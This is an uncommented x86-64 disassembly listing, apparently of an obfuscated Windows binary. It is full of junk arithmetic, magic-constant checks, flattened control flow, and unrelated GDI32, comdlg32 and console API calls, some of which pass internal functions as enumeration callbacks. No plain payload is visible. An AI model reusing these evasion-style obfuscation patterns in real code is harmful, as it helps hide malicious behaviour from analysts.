cmp ax, dx
jae 0x14000db2a
call fcn.1400c881f
movzx edx, byte [rbp + 0x221a]
movzx eax, byte [rbp + 0x50c4]
add eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
test eax, eax
je 0x14000db5d
cmp eax, 0x3e6df7a3
je 0x1400c7e75
jmp 0x1400c7f24
lea rax, [rbp + 0x1524]
mov qword [rbp + 0x150d8], rax
movzx edx, word [rbp + 0x5dc]
movzx eax, word [rbp + 0x152c]
add eax, edx
mov word [rbp + 0x27cc], ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
movzx edx, byte [rbp + 0x221a]
movzx eax, byte [rbp + 0x1286]
or edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x3e7e], ax
movzx eax, byte [rbp + 0x50c4]
movzx edx, al
movzx eax, byte [rbp + 0x1286]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
xor eax, edx
mov dword [0x1400dd310], eax
mov rdx, qword [0x1400dd318]
mov rax, qword [rbp + 0x4f88]
and rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3f1c]
sub edx, eax
mov dword [rbp + 0x2764], edx
mov rax, qword [rbp + 0x26b8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x26b8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x152c]
add eax, edx
mov word [rbp + 0x36a6], ax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x1767]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x15740]
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x50c4]
and edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov ecx, dword [rbp + 0x2764]
mov edx, dword [rbp + 0x1524]
mov rax, qword [0x1400e1038]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x15120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [rbp + 0x44f8], rax
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x2378]
xor rax, rdx
mov qword [rbp + 0x4f88], rax
mov eax, dword [rbp + 0xcb4]
mov dword [rbp + 0x3f1c], eax
movzx edx, word [rbp + 0x3e7e]
movzx eax, word [rbp + 0x4dfc]
or eax, edx
mov word [rbp + 0x27fe], ax
add dword [rbp + 0x15788], 0x4c
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1286]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x221a], al
movzx eax, byte [rbp + 0x1767]
mov edx, eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5dc]
and eax, edx
mov word [rbp + 0x152c], ax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x1767]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x150d8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov rax, qword [0x1400e1038]
add edx, ecx
mov dword [rax], edx
mov eax, dword [rbp + 0x3424]
mov dword [rbp + 0x1400], eax
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x2378], rdx
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x2764], eax
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3d18], rdx
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1767], al
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x44f0]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15138]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
movzx edx, word [rbp + 0x152c]
movzx eax, word [rbp + 0x129e]
xor eax, edx
mov word [rbp + 0x5dc], ax
mov ecx, dword [rbp + 0x2728]
mov edx, dword [rbp + 0x3f1c]
mov rax, qword [0x1400e1038]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x150e0]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
mov edx, dword [rbp + 0x2764]
mov eax, dword [0x1400dd314]
sub edx, eax
mov dword [rbp + 0x2728], edx
mov ecx, dword [rbp + 0x2080]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0xe28]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x6c0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1316]
mov rax, qword [rbp + 0x46b0]
and edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x1767]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x150d8]
mov edx, dword [rax]
mov rax, qword [0x1400e1038]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15120]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x26b8]
add rdx, rcx
mov qword [rax], rdx
cmp dword [rbp + 0x15788], 0x96d7
jne 0x14000db6b
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
test rax, rax
je 0x14000e092
movabs rdx, 0x7ba0a80f85b0051e
cmp rax, rdx
jne 0x1400c7dd5
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov eax, dword [0x1400dd310]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
xor eax, edx
mov dword [rbp + 0x1524], eax
jmp 0x1400c7dd5
nop
movzx eax, word [rbp + 0x3e7e]
movsx edx, ax
movzx eax, word [rbp + 0x10dc]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x9b8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1538]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x44f0]
and edx, ecx
mov word [rax], dx
movzx ecx, word [rbp + 0x27cc]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x44f0]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x27b8]
sub edx, eax
mov dword [0x1400dd310], edx
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov eax, dword [0x1400dd314]
and eax, edx
mov dword [rbp + 0x2728], eax
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov rdx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x33b8]
add rdx, rax
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov ecx, dword [0x1400e1030]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x27d0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3eb2]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x15138]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5dc]
xor eax, edx
mov word [rbp + 0x129e], ax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x24aa]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov edx, dword [rbp + 0x2728]
mov eax, dword [rbp + 0x3f1c]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [0x1400dd314], eax
mov rax, qword [rbp + 0x150d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
or eax, edx
mov dword [rbp + 0x1524], eax
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x33b8]
and rax, rdx
mov qword [rbp + 0x3d18], rax
mov edx, dword [rbp + 0x3424]
mov eax, dword [rbp + 0x1400]
sub edx, eax
mov dword [rbp + 0x204], edx
add dword [rbp + 0x15754], 0x5f
mov rax, qword [rbp + 0x150e0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x15700]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
movzx ecx, word [rbp + 0x27cc]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x44f0]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1524]
add eax, edx
mov dword [0x1400dd314], eax
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a8]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x3d18]
sub rdx, rax
mov qword [rbp + 0x33b8], rdx
mov edx, dword [rbp + 0x204]
mov eax, dword [rbp + 0x2080]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x50c8], eax
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0xcb4]
xor eax, edx
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
movzx edx, word [rbp + 0x152c]
movzx eax, word [rbp + 0x129e]
or eax, edx
mov word [rbp + 0x36a6], ax
mov rax, qword [rbp + 0x1538]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x24aa]
mov rax, qword [rbp + 0x9b8]
and edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x221a]
movzx eax, byte [rbp + 0x50c4]
add edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
sub edx, eax
mov dword [0x1400dd314], edx
mov edx, dword [rbp + 0x3424]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [rbp + 0x204], eax
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x45b0]
sub rdx, rax
mov qword [rbp + 0x4f88], rdx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1524]
add eax, edx
mov dword [rbp + 0x3b8], eax
mov rcx, qword [rbp + 0x44f8]
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x26b8]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x10dc], ax
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x1767]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov rax, qword [rbp + 0x6c0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x3e7e]
or edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x3c18]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x2728]
mov rax, qword [0x1400e1038]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
xor rax, rdx
mov qword [rbp + 0x4f88], rax
cmp dword [rbp + 0x15754], 0xf1b8
jne 0x14000e091
mov r8d, dword [rbp + 0x1524]
mov rax, qword [rbp + 0x150d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
test eax, eax
jne 0x1400c7c6d
movzx eax, byte [rbp + 0x1767]
movsx eax, al
test eax, eax
je 0x14000e572
cmp eax, 4
je 0x1400c7a0d
jmp 0x1400c7ad0
mov ecx, dword [rbp + 0xcb4]
mov rax, qword [0x1400e1038]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
sub ecx, edx
mov dword [rax], ecx
movzx eax, word [rbp + 0x2afe]
movsx edx, ax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
cwde
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x4dfc]
movsx edx, ax
movzx eax, word [rbp + 0x10dc]
cwde
sub edx, eax
cmp ecx, edx
jl 0x1400c78da
movzx eax, byte [rbp + 0x1767]
movsx eax, al
test eax, eax
je 0x14000e5dc
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x122], ax
mov rax, qword [rbp + 0x9b8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3230]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x9b8]
xor edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x1767]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx eax, al
add eax, edx
cmp ecx, eax
jl 0x1400c796f
movzx eax, word [rbp + 0x4dfc]
cwde
cmp eax, 0x587e
je 0x1400c7a37
mov rax, qword [rbp + 0x150e0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
mov rcx, rdx
and rcx, rax
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
sub rdx, rax
cmp rcx, rdx
jge 0x1400c7cb7
mov rax, qword [rbp + 0x15700]
movzx edx, word [rax]
movzx eax, word [rbp + 0x36a6]
and eax, edx
mov word [rbp + 0x5dc], ax
mov rcx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
movabs rdx, 0x13a8f72cfd20d6b
cmp rax, rdx
je 0x1400c7d55
movabs rdx, 0x34af8f423b027bc7
cmp rax, rdx
jne 0x1400c7d88
mov rdx, qword [rbp + 0x14a8]
mov rax, qword [rbp + 0x150f0]
mov r9d, 0xa1
lea r8, [fcn.140003bbd]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_EnumMetaFile]
call rax
mov dword [rbp + 0x1514c], eax
nop
jmp 0x1400c7d88
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
sub rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x3d18]
movabs rax, 0xf3bf68542a166b65
cmp rdx, rax
jne 0x1400c7e24
mov rax, qword [rbp + 0x53b0]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetPolyFillMode]
call rax
mov dword [rbp + 0x27b8], eax
jmp 0x1400c7e25
nop
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx ecx, ax
movzx eax, word [rbp + 0x27cc]
movzx r9d, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx r8d, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
jmp 0x1400c7f24
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
movabs rax, 0x3ab1cf1430142b12
cmp rdx, rax
jne 0x1400c7f08
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x4f88]
sub rdx, rax
mov qword [0x1400dd318], rdx
mov rax, qword [rbp + 0x150e8]
mov edx, 0x41
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SetDCPenColor]
call rax
mov dword [rbp + 0x2728], eax
mov rax, qword [rbp + 0x15120]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
and rdx, rcx
mov qword [rax], rdx
jmp 0x1400c7f23
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x4318], edx
nop
nop
mov rax, qword [rbp + 0x44f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x36a6]
add edx, eax
mov rax, qword [rbp + 0x15700]
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3507], al
lea rdx, [rbp + 0x10e0]
mov rax, qword [rbp + 0x150f0]
mov dword [rsp + 0x20], 0x66
mov r9d, 0xdc
lea r8, [fcn.1400c881f]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
call rax
mov dword [rbp + 0x27b8], eax
mov rax, qword [rbp + 0x1030]
lea rdx, [rbp + 0x1770]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_RectInRegion]
call rax
mov dword [rbp + 0x150fc], eax
mov ecx, dword [0x1400dd314]
mov r9, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x156a0]
mov r8, qword [rax]
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x194]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
lea rdx, [rbp + 0x2d80]
mov rax, qword [rbp + 0x150f0]
mov r8, rdx
mov edx, 0x5a
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetOutlineTextMetricsW]
call rax
mov dword [rbp + 0x3f1c], eax
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
add rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
mov rax, qword [rbp + 0x46b0]
or edx, ecx
mov word [rax], dx
nop
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
movzx eax, word [rbp + 0x27fe]
and eax, edx
mov word [rbp + 0x3e7e], ax
movzx edx, word [rbp + 0x5dc]
movzx eax, word [rbp + 0x129e]
or edx, eax
mov rax, qword [rbp + 0x15700]
mov word [rax], dx
lea rax, [rbp + 0x4e50]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseFontW]
call rax
mov dword [rbp + 0x1514c], eax
lea rax, [rbp + 0x660]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ReplaceTextW]
call rax
mov qword [rbp + 0x178], rax
mov eax, dword [0x1400dd314]
cmp eax, 0xabffd6ad
je 0x1400c80e9
cmp eax, 0xcd3a3e02
je 0x1400c8161
jmp 0x1400c820f
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
cmp ecx, edx
jl 0x1400c815a
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1316]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
sub edx, eax
mov dword [rbp + 0x1524], edx
call fcn.1400c881f
jmp 0x1400c817b
lea rax, [rbp + 0x4e50]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseFontW]
call rax
mov dword [rbp + 0x15164], eax
nop
jmp 0x1400c820f
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0xa1
je 0x1400c81af
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x3424]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
jmp 0x1400c81b0
nop
movzx eax, word [rbp + 0x4dfc]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
mov rax, qword [rbp + 0x15700]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
xor eax, edx
mov word [rbp + 0x5dc], ax
lea rax, [rbp + 0x4cd0]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_PrintDlgW]
call rax
mov dword [rbp + 0x1514c], eax
call fcn.1400c881f
nop
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
or eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov r9, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x156a0]
mov r8, qword [rax]
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x3424]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
nop
mov rax, qword [rbp + 0x2378]
movabs rdx, 0x19651ac35dab882d
cmp rax, rdx
je 0x1400c827f
movabs rdx, 0x757af14639533044
cmp rax, rdx
jmp 0x1400c8299
lea rax, [rbp + 0x4740]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseFontW]
call rax
mov dword [rbp + 0x1512c], eax
nop
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
add eax, edx
mov dword [rbp + 0x2728], eax
mov rax, qword [rbp + 0x15120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
xor rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
call fcn.1400c881f
jmp 0x1400c8361
mov rdx, qword [rbp + 0x44f8]
movabs rax, 0x29b599aebd1701b6
cmp rdx, rax
jne 0x1400c8346
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15120]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x33b8], rax
lea rax, [rbp + 0x24aa]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
call rax
mov dword [rbp + 0x1514c], eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
jmp 0x1400c8360
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add eax, edx
mov byte [rbp + 0x50c4], al
nop
nop
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
cmp eax, 0xe69cac0c
je 0x1400c8391
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
add rdx, rax
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
jmp 0x1400c8392
nop
mov rax, qword [rbp + 0x3c18]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15040]
mov edx, 0xa5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov dword [rbp + 0x1512c], eax
mov ecx, dword [rbp + 0x2764]
mov r9, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x156a0]
mov r8, qword [rax]
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
mov eax, dword [rax]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
add rax, rdx
mov qword [rbp + 0x45b0], rax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x3c18]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x15120]
mov r9, qword [rax]
mov r8, qword [rbp + 0x44f8]
mov edx, dword [rbp + 0x3424]
mov eax, dword [rbp + 0x204]
mov dword [rsp + 0x20], ecx
